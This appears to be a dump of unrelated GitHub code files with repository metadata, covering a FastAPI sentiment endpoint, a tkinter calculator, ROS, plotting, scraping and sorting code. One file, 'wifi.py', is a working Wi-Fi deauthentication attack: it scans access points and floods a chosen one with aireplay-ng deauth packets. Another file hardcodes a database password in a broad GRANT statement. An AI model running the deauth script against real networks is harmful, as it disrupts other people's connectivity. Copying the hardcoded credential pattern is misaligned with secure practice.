{qualified_name}'\n","repo_name":"SriharshaPanguluri/ibis","sub_path":"ibis/backends/clickhouse/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"15426508425","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Apr 5 19:12:48 2023\r\n\r\n@author: Neal\r\n\"\"\"\r\nfrom pydantic import BaseModel\r\n#from pydantic.dataclasses import dataclass_transform\r\nimport model.sentiment_model as clf\r\nfrom fastapi import FastAPI\r\nfrom joblib import load\r\nimport uvicorn\r\n \r\napp = FastAPI(title=\"MDS5724 Group Project - Task2 - Demo\", \r\n description=\"API for Text Sentiment Analysis\", version=\"1.0\")\r\n\r\nclass Payload(BaseModel):\r\n news_title: str = \"\"\r\n\r\n@app.on_event('startup')\r\ndef load_model():\r\n clf.model = load('model/text_sentiment_model_v001.joblib')\r\n\r\n\r\n@app.post('/predict')\r\nasync def get_prediction(payload: Payload = None):\r\n news_title = dict(payload)['news_title']\r\n score = clf.model.predict([news_title,]).tolist()[0]\r\n return score\r\n\r\nif __name__ == '__main__':\r\n uvicorn.run(app, port=5724, host='0.0.0.0')","repo_name":"jiakun323/datamining-pro","sub_path":"Task-2/Example/docker_demo/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70995021922","text":"import sys\nfrom collections import Counter\n\n\ndef mega_dict(list_of_dicts):\n dict_0 = list_of_dicts[0]\n dict_1 = list_of_dicts[1]\n dict_2 = list_of_dicts[2]\n # (set(dict_0).union(dict_1)).union(dict_2) - huge dict with all values from all dicts\n # dict_0.get(key, 0) + dict_1.get(key, 0) + dict_2.get(key, 0) - sum of val with this key in all dicts\n # {key: value} - dict initialization\n cool_dict = {key: dict_0.get(key, 0) + dict_1.get(key, 0) + dict_2.get(key, 0) for key in\n (set(dict_0).union(dict_1)).union(dict_2)}\n\n\n # cool_dict.items() - key, value\n # 'separator'.join(iterable)\n # k + ' ' + str(v) - 1 line\n return '\\n'.join(k + ' ' + str(v) for k, v in cool_dict.items())\n\ndef freq1(sents):\n rates = []\n for sentence in sents:\n counts = dict(Counter(sentence))\n rates.append(counts)\n return mega_dict(rates)\n\n\ndef freq2(sentences):\n bigram_list = []\n for sentence in sentences:\n\n bigram_dict = {}\n for i in range(len(sentence) - 1):\n bigram = ' '.join(sentence[i:i + 2])\n bigram_dict[bigram] = bigram_dict.get(bigram, 0) + 1\n bigram_list.append(bigram_dict)\n\n return mega_dict(bigram_list)\n\n\ndef freq3(sentences):\n trigram_list = []\n for sentence in sentences:\n trigram_dict = {}\n if len(sentence) > 2:\n for i in range(len(sentence) - 2):\n trigram = ' '.join(sentence[i: i + 3])\n trigram_dict[trigram] = trigram_dict.get(trigram, 0) + 1\n trigram_list.append(trigram_dict)\n return mega_dict(trigram_list)\n\n\ntry:\n input_file_path = sys.argv[1]\n print('Reading fron file: ', input_file_path)\n n = int(sys.argv[2])\n print('N: ', n)\n\n sentences = []\n try:\n with open(input_file_path) as f:\n for _ in range(3):\n line = f.readline()\n sentences.append(list(word.lower() for word in line.split()))\n print(sentences)\n\n if n == 1:\n output_file_name = input_file_path + '_1-grams'\n with open(output_file_name, 'w') as output:\n output.write(str(freq1(sentences)))\n elif n == 2:\n output_file_name = input_file_path + '_2-grams'\n with open(output_file_name, 'w') as output:\n output.write(str(freq2(sentences)))\n elif n == 3:\n output_file_name = input_file_path + '_3-grams'\n with open(output_file_name, 'w') as output:\n output.write(str(freq3(sentences)))\n else:\n print('Go fuck yourself.')\n\n except FileNotFoundError:\n print('File not found.')\nexcept IndexError:\n print('Wrong command line arguments.')\n","repo_name":"gulyash/AsyaPy","sub_path":"LR8/LR8_1_Migranova.py","file_name":"LR8_1_Migranova.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1066239317","text":"#!/usr/bin/env python\n\nimport rospy\nfrom std_msgs.msg import Empty\nfrom std_msgs.msg import Bool\nimport sys\n\nheartbeat = 0\n\ndef callback(data):\n global heartbeat\n heartbeat = 5\n msg = Bool()\n msg.data = False\n stop_pub.publish(msg)\n\ndef timerCallback(event):\n global heartbeat\n global right_pub, left_pub\n if heartbeat <= 0:\n msg = Bool()\n msg.data = True\n stop_pub.publish(msg)\n print(\"HeartBeat Timeout\")\n else:\n heartbeat -= 1\n\n\nif __name__ == '__main__':\n rospy.init_node('heartbeat',anonymous=True)\n stop_pub = rospy.Publisher('/stop',Bool, queue_size=1)\n rospy.Subscriber('heartbeat', Empty, callback)\n rospy.Timer(rospy.Duration(1), timerCallback)\n rospy.spin()\n","repo_name":"spiralray/robotx-ouxt","sub_path":"ouxt/scripts/heartbeat_listener.py","file_name":"heartbeat_listener.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12240781835","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom tkinter import *\nfrom tkinter import scrolledtext\n\ndef init_window():\n window = tk.Tk() #Crear la pantalla\n window.title('Calculadora SaninfomaxUN - v2.0') #Agregar titulo a la pantalla\n # Establecer tamaño de la pantalla (Ancho: 400px y largo: 250px)\n window.geometry('500x300')\n\n #Control de Pestañas\n tab_control = ttk.Notebook(window)\n tab1 = ttk.Frame(tab_control)\n tab2 = ttk.Frame(tab_control)\n tab3 = ttk.Frame(tab_control)\n tab_control.add(tab1, text='Calculadora')\n tab_control.add(tab2, text='Historial')\n tab_control.add(tab3, text='Sugerencias')\n tab_control.grid(column=0, row=0)\n\n #Crear una etiqueta con fuente Arial Bold y Tamaño 15\n label = tk.Label(tab1, text='Calculadora', font=('Arial bold', 25), fg='gold2',padx=20)\n #Ubicar ala etiqueta en la columna y fila 0 de la pantalla\n label.grid(column = 0, row = 2)\n\n #Agregar dos campos de texto\n entrada1 = tk.Entry(tab1, width = 10)\n entrada2 = tk.Entry(tab1, width = 10)\n\n entrada1.grid(column = 1, row = 3)\n entrada2.grid(column = 1, row = 4)\n\n #Agregar dos etiquetas para indicarle al usuario los valores que debe ingresar\n label_entrada1 = tk.Label(tab1, text='Ingrese Primer Numero', font=('Arial bold', 10))\n label_entrada1.grid(column=0, row=3)\n\n label_entrada2 = tk.Label(tab1, text='Ingrese Segundo Numero', font=('Arial bold', 10))\n label_entrada2.grid(column=0, row=4)\n\n #Crear una etiqueta para el seleccionador (Combobox)\n label_operador = tk.Label(tab1, text='Escoja un operador', font=('Arial bold', 10))\n label_operador.grid(column=0, row=5)\n\n # Crear un seleccionador (Combobox)\n combo_operadores = ttk.Combobox(tab1)\n #Asignar los valores del seleccionador a traves de su atributo values\n combo_operadores['values'] = ['+', '-', '*', '/', 'pow']\n #Asignar por defecto una opcion seleccionada: 0 es el indice de los valores\n combo_operadores.current(0) #Set the selected item\n #Ubicar el seleccionador\n combo_operadores.grid(column=1, row=5)\n\n #Agregar etiqueta para mostrar el resultado de la operación en pantalla\n label_resultado = tk.Label(tab1, text='Resultado', font=('Arial bold', 15))\n label_resultado.grid(column=0, row=9)\n #variables\n Historial = []\n contador = 1\n # Boton calcular\n boton = tk.Button(tab1,\n command=lambda: click_calcular(\n label_resultado,\n entrada1.get(),\n entrada2.get(),\n combo_operadores.get(),\n entrada1,\n entrada2,\n tab2,\n Historial,\n contador),\n text='Calcular',\n font='bold 12',\n bg=\"gold2\",\n fg=\"black\",\n padx=10)\n boton.grid(column=1, row=6)\n\n #Boton Resetear\n botonReset = tk.Button(tab1,\n command=lambda: reset(\n label_resultado, entrada1, entrada2\n ),\n text='AC',\n font='bold 12',\n bg=\"grey\",\n fg=\"white\",\n padx=10)\n botonReset.grid(column=2, row=6)\n\n\n # Crear una etiqueta para el seleccionador (Combobox)\n label_creator = tk.Label(tab1, text='Created by: SaninfomaxUN' + chr(169) , font=('Arial bold', 8))\n label_creator.grid(column=1, row=10)\n\n#------------------------------------------------TAB 2------------------------------------------------\n # Crear una etiqueta con fuente Arial Bold y Tamaño 15\n label_titulo = tk.Label(tab2, text='Operaciones Recientes', font=('Arial bold', 25), fg='gold2', padx=20)\n # Ubicar ala etiqueta en la columna y fila 0 de la pantalla\n label_titulo.grid(column=0, row=0)\n\n# ------------------------------------------------TAB 3------------------------------------------------\n # Crear una etiqueta con fuente Arial Bold y Tamaño 15\n label_titulo = tk.Label(tab3, text='Buzon de sugerencias', font=('Arial bold', 18), fg='gold2', padx=20)\n # Ubicar ala etiqueta en la columna y fila 0 de la pantalla\n label_titulo.grid(column=0, row=0)\n\n def btnemail():\n messagebox.showinfo('Buzon de Sugerencias', 'Correo ingresado Exitosamente!! \\n Ya puedes escribir tu comentario!')\n txt.configure(state='normal')\n label_correo = Label(tab3,text='Ingresa tu correo para continuar!' )\n label_correo.grid(column=0, row=1)\n EntradaSug = Entry(tab3, width=30)\n EntradaSug.grid(column=0, row=2)\n btncorreo = Button(tab3, text='Ingresar', command=btnemail)\n btncorreo.grid(column=1, row=2)\n\n\n txt = scrolledtext.ScrolledText(tab3, width=40, height=10, state='disabled')\n txt.grid(column=0, row = 3)\n txt.insert('insert', 'Si tienes alguna sugerencia o inquietud, escribela aqui!')\n\n def btnsuger():\n resp = messagebox.askyesno('Buzon de sugerencias','Estas de acuerdo con nuestra politica de tratamiento de datos??')\n if resp:\n messagebox.showinfo('Buzon de Sugerencias','Comentario enviado Correctamente!!')\n else:\n messagebox.showwarning('Buzon de sugerencias','Lo sentimos, debes aceptar nuestras politicas para revisar tu comentario.')\n btnsugerencias = Button(tab3, text='Enviar', command=btnsuger)\n btnsugerencias.grid(column=1, row=4)\n\n window.mainloop()\n#------------------------------------------------FUNCIONES-------------------------------------------\ndef calculadora(num1, num2, operador):\n if operador =='+':\n resultado = num1 + num2\n elif operador =='-':\n resultado = num1 - num2\n elif operador =='*':\n resultado = num1 * num2\n elif operador =='/':\n resultado = round(num1 / num2,2)\n else:\n resultado = num1 ** num2\n\n return resultado\n\ndef click_calcular(label, num1, num2, operador, entrada1, entrada2,tab2, Historial, contador):\n Historial.insert(0,num1)\n Historial.insert(1, operador)\n Historial.insert(2,num2)\n Historial.insert(3,'=')\n\n comprobacion = comprobar(num1,num2, entrada1, entrada2)\n if comprobacion[0] == True:\n #Conversion de valores\n valor1 = round(float(num1),8)\n valor2 = round(float(num2),8)\n\n # Calculo dados los valores y el operador\n res = calculadora(valor1, valor2, operador)\n\n #Enviar Historial\n Historial.insert(4,str(res))\n Historial.insert(5, '\\n')\n historial(tab2, Historial)\n\n # Actualizacion del texto en la etiqueta\n label.configure(text='Resultado: ' + str(res))\n else:\n # Deshacer Color Rojo - Limpiar Campo 1\n if comprobacion[1]==False:\n messagebox.showerror('Caracter Incorrecto', 'Por favor ingrese un numero!!')\n entrada1.delete(0, 'end')\n entrada1.configure(bg='white')\n # Deshacer Color Rojo - Limpiar Campo 2\n if comprobacion[2]==False:\n messagebox.showerror('Caracter Incorrecto', 'Por favor ingrese un numero!!')\n entrada2.delete(0, 'end')\n entrada2.configure(bg='white')\n # Deshacer Color Rojo - Campo 1 Vacio\n if comprobacion[3] == False:\n messagebox.showwarning('Campo Vacio', 'Por favor ingrese un numero!!')\n entrada1.delete(0, 'end')\n entrada1.configure(bg='white')\n # Deshacer Color Rojo - Campo 2 Vacio\n if comprobacion[4] == False:\n messagebox.showwarning('Campo Vacio', 'Por favor ingrese un numero!!')\n entrada2.delete(0, 'end')\n entrada2.configure(bg='white')\n\n\n\n#resetear resultado\ndef reset(label, entrada1, entrada2):\n label.configure(text= 'Resultado')\n entrada1.delete(0, 'end')\n entrada2.delete(0, 'end')\n\n\n#comprobar valores ingresados\ndef comprobar(num1,num2, entrada1, entrada2):\n BanderaG = BanderaEnt1 = BanderaEnt2 = BanderaEsp1 = BanderaEsp2 = True\n if len(num1) ==0:\n entrada1.configure(bg='grey')\n BanderaEsp1 = False\n BanderaG = False\n if len(num2) ==0:\n entrada2.configure(bg='grey')\n BanderaEsp2 = False\n BanderaG = False\n for digito in num1:\n if ord(digito) >= 44 and ord(digito) <=57:\n continue\n else:\n entrada1.configure(bg='red')\n BanderaG = False\n BanderaEnt1 = False\n for digito in num2:\n if ord(digito) >= 44 and ord(digito) <=57:\n continue\n else:\n entrada2.configure(bg='red')\n BanderaEnt2 = False\n BanderaG = False\n return BanderaG, BanderaEnt1, BanderaEnt2,BanderaEsp1,BanderaEsp2\n\ndef historial(tab2,Historial):\n print(Historial)\n NewCaracter1 = tk.Label(tab2, text='Hola')\n NewCaracter1.grid(column=0, row=3)\n if len(Historial) > 36:\n Historial = Historial[:-6]\n Historial = \"\".join(Historial)\n NewCaracter1.config(text=Historial,font='bold 12',\n fg=\"red\",)\n\ndef main():\n init_window()\ncontador = 1\nmain()","repo_name":"SaninfomaxUN/Tkinter_Calc","sub_path":"Taller Tkinter.py","file_name":"Taller Tkinter.py","file_ext":"py","file_size_in_byte":9235,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2017283503","text":"#!/usr/bin/env python\nimport os\nimport sys\nimport tempfile\n\nshared_modules = [\n \"common\\_%\",\n \"spikesorting\\_%\",\n \"decoding\\_%\",\n \"position\\_%\",\n \"lfp\\_%\",\n]\n\n\ndef add_user(user_name):\n # create a tempoary file for the command\n file = tempfile.NamedTemporaryFile(mode=\"w\")\n\n file.write(\n f\"GRANT SELECT ON `%`.* TO `{user_name}`@'%' IDENTIFIED BY 'Data_$haring';\\n\"\n )\n file.flush()\n\n # run that commands in sql\n os.system(f\"mysql -p -h lmf-db.cin.ucsf.edu < {file.name}\")\n\n\nif __name__ == \"__main__\":\n add_user(sys.argv[1])\n","repo_name":"magland/spyglass","sub_path":"config/add_dj_guest.py","file_name":"add_dj_guest.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"41398552700","text":"import scapy\r\nimport colorama\r\nimport subprocess\r\nimport re\r\nimport csv\r\nimport os\r\nimport time\r\nimport shutil\r\nfrom datetime import datetime\r\nclass bcolors:\r\n GREEN = '\\033[92m'\r\n YELLOW = '\\033[93m'\r\n RED = '\\033[91m'\r\n BLUE ='\\033[94m'\r\nprint(bcolors.RED + 'Make Sure Your using Kali Linux Or Other Linux Distros!')\r\ntime.sleep(2)\r\nactive_wireless_networks = []\r\n\r\ndef check_for_essid(essid, lst):\r\n check_status = True\r\n\r\n if len(lst) == 0:\r\n return check_status\r\n\r\n # This will only run if there are wireless access points in the list.\r\n for item in lst:\r\n # If True don't add to list. False will add it to list\r\n if essid in item[\"ESSID\"]:\r\n check_status = False\r\n\r\n return check_status\r\n\r\n# Basic user interface header\r\nprint(r\"\"\"██╗███╗ ██╗██╗ ██╗██╗███████╗██╗██████╗ ██╗ ███████╗\"\"\")\r\nprint(r\"\"\"██║████╗ ██║██║ ██║██║██╔════╝██║██╔══██╗██║ ██╔════╝\"\"\")\r\nprint(r\"\"\"██║██╔██╗ ██║██║ ██║██║███████╗██║██████╔╝██║ █████╗ \"\"\")\r\nprint(r\"\"\"██║██║╚██╗██║╚██╗ ██╔╝██║╚════██║██║██╔══██╗██║ ██╔══╝ \"\"\")\r\nprint(r\"\"\"██║██║ ╚████║ ╚████╔╝ ██║███████║██║██████╔╝███████╗███████╗\"\"\")\r\nprint(r\"\"\"╚═╝╚═╝ ╚═══╝ ╚═══╝ ╚═╝��══════╝╚═╝╚═════╝ ╚══════╝╚══════╝\"\"\")\r\nprint(r\"\"\" \"\"\")\r\nprint(\"\\n****************************************************************\")\r\nprint(\"\\n* Copyright of G00Dway & David Bombai, 2021 *\")\r\nprint(\"\\n* https://github.com/G00Dway *\")\r\nprint(\"\\n* Credits | G00Dway & David Bombai *\")\r\nprint(\"\\n****************************************************************\")\r\n\r\n\r\n\r\nif not 'SUDO_UID' in os.environ.keys():\r\n print(bcolors.BLUE + \"Try running this program with sudo.\")\r\n exit()\r\n\r\n\r\nfor file_name in os.listdir():\r\n if \".csv\" in file_name:\r\n print(bcolors.RED + \"There shouldn't be any .csv files in your directory. We found .csv files in your directory and will move them to the backup directory.\")\r\n # We get the current working directory.\r\n directory = os.getcwd()\r\n try:\r\n # We make a new directory called /backup\r\n os.mkdir(directory + \"/backup/\")\r\n except:\r\n print(bcolors.YELLOW + \"Backup folder exists.\")\r\n # Create a timestamp\r\n timestamp = datetime.now()\r\n shutil.move(file_name, directory + \"/backup/\" + str(timestamp) + \"-\" + file_name)\r\n\r\n\r\nwlan_pattern = re.compile(\"^wlan[0-9]+\")\r\n\r\ncheck_wifi_result = wlan_pattern.findall(subprocess.run([\"iwconfig\"], capture_output=True).stdout.decode())\r\n\r\n\r\nif len(check_wifi_result) == 0:\r\n print(bcolors.RED + \"Please connect a WiFi adapter and try again.\")\r\n exit()\r\n\r\n# Menu to select WiFi interface from\r\nprint(\"The following WiFi interfaces are available:\")\r\nfor index, item in enumerate(check_wifi_result):\r\n print(f\"{index} - {item}\")\r\n\r\n# Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from.\r\nwhile True:\r\n wifi_interface_choice = input(bcolors.BLUE + \"Please select the interface you want to use for the attack: \")\r\n try:\r\n if check_wifi_result[int(wifi_interface_choice)]:\r\n break\r\n except:\r\n print(bcolors.BLUE + \"Please enter a number that corresponds with the choices available.\")\r\n\r\n# For easy reference we call the selected interface hacknic\r\nhacknic = check_wifi_result[int(wifi_interface_choice)]\r\n\r\n\r\nprint(\"WiFi adapter connected!\\nNow let's kill conflicting processes:\")\r\n\r\n\r\nkill_confilict_processes = subprocess.run([\"sudo\", \"airmon-ng\", \"check\", \"kill\"])\r\n\r\n# Put wireless in Monitor mode\r\nprint(\"Putting Wifi adapter into monitored mode:\")\r\nput_in_monitored_mode = subprocess.run([\"sudo\", \"airmon-ng\", \"start\", hacknic])\r\n\r\ndiscover_access_points = subprocess.Popen([\"sudo\", \"airodump-ng\",\"-w\" ,\"file\",\"--write-interval\", \"1\",\"--output-format\", \"csv\", check_wifi_result[0] + \"mon\"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\r\n\r\n\r\ntry:\r\n while True:\r\n subprocess.call(\"clear\", shell=True)\r\n for file_name in os.listdir():\r\n fieldnames = ['BSSID', 'First_time_seen', 'Last_time_seen', 'channel', 'Speed', 'Privacy', 'Cipher', 'Authentication', 'Power', 'beacons', 'IV', 'LAN_IP', 'ID_length', 'ESSID', 'Key']\r\n if \".csv\" in file_name:\r\n with open(file_name) as csv_h:\r\n # This will run multiple times and we need to reset the cursor to the beginning of the file.\r\n csv_h.seek(0)\r\n csv_reader = csv.DictReader(csv_h, fieldnames=fieldnames)\r\n for row in csv_reader:\r\n # We want to exclude the row with BSSID.\r\n if row[\"BSSID\"] == \"BSSID\":\r\n pass\r\n # We are not interested in the client data.\r\n elif row[\"BSSID\"] == \"Station MAC\":\r\n break\r\n # Every field where an ESSID is specified will be added to the list.\r\n elif check_for_essid(row[\"ESSID\"], active_wireless_networks):\r\n active_wireless_networks.append(row)\r\n\r\n print(bcolors.RED + \"Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\\n\")\r\n print(bcolors.GREEN + \"No |\\tBSSID |\\tChannel|\\tESSID |\")\r\n print(bcolors.GREEN + \"___|\\t___________________|\\t_______|\\t______________________________|\")\r\n for index, item in enumerate(active_wireless_networks):\r\n print(f\"{index}\\t{item['BSSID']}\\t{item['channel'].strip()}\\t\\t{item['ESSID']}\")\r\n # We make the script sleep for 1 second before loading the updated list.\r\n time.sleep(1)\r\n\r\nexcept KeyboardInterrupt:\r\n print(\"\\nReady to make choice.\")\r\n\r\n# Ensure that the input choice is valid.\r\nwhile True:\r\n choice = input(bcolors.YELLOW + \"Please select a choice from above: \")\r\n try:\r\n if active_wireless_networks[int(choice)]:\r\n break\r\n except:\r\n print(bcolors.RED + \"Please try again.\")\r\n\r\n\r\nhackbssid = active_wireless_networks[int(choice)][\"BSSID\"]\r\nhackchannel = active_wireless_networks[int(choice)][\"channel\"].strip()\r\n\r\n\r\nsubprocess.run([\"airmon-ng\", \"start\", hacknic + \"mon\", hackchannel])\r\n\r\nsubprocess.run([\"aireplay-ng\", \"--deauth\", \"0\", \"-a\", hackbssid, check_wifi_result[int(wifi_interface_choice)] + \"mon\"])\r\n\r\n# User will need to use control-c to break the script.\r\n","repo_name":"G00Dway/Invisible","sub_path":"wifi.py","file_name":"wifi.py","file_ext":"py","file_size_in_byte":7281,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"17652865468","text":"##plot 3cls roc\nimport seaborn as sns\nimport os\nimport csv\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport matplotlib.pyplot as plt\nimport sklearn.metrics as metric\nfrom sklearn.calibration import calibration_curve\nfrom sklearn.preprocessing import label_binarize\nimport pandas as pd\ndef get_CI(value,res,xx=False):\n sorted_scores=np.array(value)\n sorted_scores.sort()\n confidence_lower = sorted_scores[int(0.05 * len(sorted_scores))]\n confidence_upper = sorted_scores[int(0.95 * len(sorted_scores))]\n if xx:\n res.append(np.mean(value))\n else:\n res.append(str(np.mean(value)) + ' (' + str(confidence_lower) + '-' + str(confidence_upper) + ')')\n return res\nimport argparse\nfrom mpl_toolkits.axes_grid1.inset_locator import mark_inset\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\nfrom mpl_toolkits.axes_grid1.inset_locator import zoomed_inset_axes\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-i\", \"--ress\", help=\"A list of npy files which record the performance.\",\n default=['../NO5.npy','../NO2.npy','../top1.npy','../top3.npy','../top5.npy','../top9.npy'])\nparser.add_argument(\"-o\", \"--output_file\", help=\"Output file path\", type=str,\n default='csvs/kk.csv')\nargs = parser.parse_args()\n\n#res=np.load('ipt_results/results/train.npy')\nif isinstance(args.ress,str):\n ress=eval(args.ress)\nelse:\n ress=args.ress\nCLS=['Healthy','CAP','A/B Influenza','COVOD-19']\nplt.figure()\naxes = plt.subplot(111)\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.0])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('ROC Curve of Distinguishing COVID from CAP')\naxins = zoomed_inset_axes(axes, 2, loc=\"lower right\",borderpad=2) # zoom = 6\naxins.set_xlim(0, 0.3)\naxins.set_ylim(0.7, 1)\n\n\nwith open(args.output_file,'w') as f:\n f=csv.writer(f)\n f.writerow(['name', 'AUC','Accuracy'])\n for a_res in ress:\n res = np.load(a_res)\n if res.shape[1]==4:\n pre=np.array(res[:,:-1],np.float)\n gt=np.array(res[:,-1],np.float)\n else:\n pre = np.array(res[:, 1:-1], np.float)\n gt = np.array(res[:, -1], np.float)\n #AUC=[]\n #pre=pre/pre.sum(1,keepdims=True)\n ACC=[]\n REC=[]\n SPE=[]\n SAUC=[]\n y_one_hot = label_binarize(gt, np.arange(4))\n norm_x=pre/ pre.max(axis=0)\n AUC=[]\n for i in range(100):\n train_x, test_x, train_y, test_y = train_test_split(pre, y_one_hot, test_size=0.2)\n train_x=train_x/train_x.max(axis=0)\n auc = metric.roc_auc_score(train_y, train_x)\n AUC.append(auc)\n\n prediction = np.argmax(train_x, 1)\n groundtruth = np.argmax(train_y, 1)\n\n ACC.append(np.mean(prediction == groundtruth))\n\n Res=[a_res]\n Res = get_CI(AUC,Res)\n Res = get_CI(ACC, Res)\n f.writerow(Res)\n # plt.figure(1)\n\n fpr, tpr, thresholds = metric.roc_curve(y_one_hot.ravel(), norm_x.ravel())\n axes.plot(fpr, tpr, label=a_res+', AUC={:.2f}'.format(np.mean(AUC)))\n axins.plot(fpr, tpr)\n\naxes.legend(loc=\"upper right\")\nplt.tight_layout()\n\n\nplt.savefig('jpgs/kk.jpg')\n","repo_name":"ChenWWWeixiang/TriageNet_pneumonia","sub_path":"result_plt/plot_k_auc.py","file_name":"plot_k_auc.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13841759545","text":"from selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium import webdriver\r\n\r\n\r\ndriver = webdriver.Edge ()\r\ndriver.get(\"https://finance.yahoo.com/quote/BTC-EUR/history/\")\r\n#assert \"Python\" in driver.title\r\ntry:\r\n table = driver.find_element(By.ID, \"mrt\\-node\\-Col1\\-1\\-HistoricalDataTable\")\r\nexcept:\r\n print >> sys.stderr, \"failed on finding table by ID\"\r\n sys.exit(1)\r\ntry:\r\n table = table.find_element(By.TAG_NAME, \"tbody\")\r\nexcept:\r\n print >> sys.stderr, \"failed on finding table by TAG_NAME\"\r\n sys.exit(1)\r\n\r\ntry:\r\n lines = table.find_elements(By.TAG_NAME, \"tr\")\r\nexcept:\r\n print >> sys.stderr, \"failed on finding lines by TAG_NAME\"\r\n sys.exit(1)\r\n#print (len (lines))\r\n\r\nfile = open(\"eur_btc_rates.csv\", \"w\")\r\nline_to_write = [\"Date\", \"BTC Closing Value\"]\r\nfile.write(\"Date, BTC Closing Value\\n\")\r\nfor i in range(0,10):\r\n line_to_write = []\r\n \r\n try:\r\n coluns_from_line = lines[i].find_elements(By.TAG_NAME, \"td\")\r\n except:\r\n print >> sys.stderr, \"failed on finding coluns_from_line by TAG_NAME\"\r\n sys.exit(1)\r\n \r\n try:\r\n coluns_from_line_data = lines[i].find_elements(By.TAG_NAME, \"span\")\r\n except:\r\n print >> sys.stderr, \"failed on finding coluns_from_line_data by TAG_NAME\"\r\n sys.exit(1)\r\n \r\n #this part is needed because a line from the table once showed up withou data (except date) \r\n try:\r\n reactid_date = int (coluns_from_line[0].get_attribute(\"data-reactid\"))+1\r\n except:\r\n print >> sys.stderr, \"failed on getting reactid_date from data-reactid\"\r\n sys.exit(1)\r\n \r\n try:\r\n reactid_close = int (coluns_from_line[4].get_attribute(\"data-reactid\"))+1\r\n except:\r\n print >> sys.stderr, \"failed on getting reactid_date from data-reactid\"\r\n sys.exit(1)\r\n \r\n for item in coluns_from_line_data:\r\n if int(item.get_attribute(\"data-reactid\")) == reactid_date or \\\r\n int(item.get_attribute(\"data-reactid\")) == reactid_close:\r\n line_to_write.append(item.text)\r\n if (len(coluns_from_line)==1): #no close data from that day\r\n line_to_write.append(\"no data\")\r\n file.write (line_to_write[0].replace(\",\", '') + \", \"+ line_to_write[1].replace(\",\", '') + \"\\n\")\r\n#assert \"No results found.\" not in driver.page_source\r\ndriver.close()\r\nfile.close()","repo_name":"FernandoSNunes/programas-estagio","sub_path":"Fernando S Nunes - Section C.py","file_name":"Fernando S Nunes - Section C.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6801634054","text":"# Devide the collection of elements into smaller subsets\n# Recursively sort the subset\n# combine or merge the result in solution\n# devide and conquer approach\n\ndef mergeSort(arr, leftIndex, rightIndex):\n if leftIndex < rightIndex:\n midIndex = (leftIndex+rightIndex) // 2\n mergeSort(arr, leftIndex, midIndex)\n mergeSort(arr, midIndex+1, rightIndex)\n merge(arr, leftIndex, midIndex, rightIndex)\n return arr\n\n\ndef merge(arr, leftIndex, midIndex, rightIndex):\n print('arr', arr)\n i = leftIndex # use for one half of the arr\n j = midIndex + 1 # use another half of the arr\n k = leftIndex # for temp arr(which use for merge element) index\n tempArr = [0] * (rightIndex + 1)\n while i <= midIndex and j <= rightIndex:\n if arr[i] < arr[j]:\n tempArr[k] = arr[i]\n i += 1\n else:\n tempArr[k] = arr[j]\n j += 1\n k += 1\n # check any element left in left sub array\n while i <= midIndex:\n tempArr[k] = arr[i]\n i += 1\n k += 1\n # check any element left in right sub array\n while j <= rightIndex:\n tempArr[k] = arr[j]\n j += 1\n k += 1\n print('tempArr', tempArr)\n # move element from temp to actual arr\n for m in range(leftIndex, rightIndex+1):\n arr[m] = tempArr[m]\n print('return arr', arr)\n return arr\n\n\na = [3, 5, 8, 7, 6, 9, 2]\nprint('merge sort', mergeSort(a, 0, len(a)-1))\n","repo_name":"PKrupa94/DataStructure","sub_path":"DS/Sorting/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4761398172","text":"# -*- coding: utf-8 -*-\n\nfrom trac.tests.functional import tc\n\nfrom agilo.test import Usernames\nfrom agilo.test.functional import AgiloFunctionalTestCase\nfrom agilo.scrum import DASHBOARD_URL\n\n\nclass TestViewingTheDashboardRequiresPrivilege(AgiloFunctionalTestCase):\n \"\"\"Test that the dashboard is not shown if the user does not have the\n DASHBOARD_VIEW privilege.\"\"\"\n def runTest(self):\n self._tester.login_as(Usernames.product_owner)\n dashboard_url = self._tester.url + DASHBOARD_URL\n tc.go(dashboard_url)\n tc.code(200)\n \n self._tester.logout()\n tc.go(dashboard_url)\n tc.code(403)\n \n self._tester.go_to_front()\n tc.notfind('href=\"%s\"' % DASHBOARD_URL)\n\n\nif __name__ == '__main__':\n from agilo.test.testfinder import run_all_tests\n run_all_tests(__file__)\n\n","repo_name":"djangsters/agilo","sub_path":"agilo/scrum/backlog/functional_tests/dashboard_test.py","file_name":"dashboard_test.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} 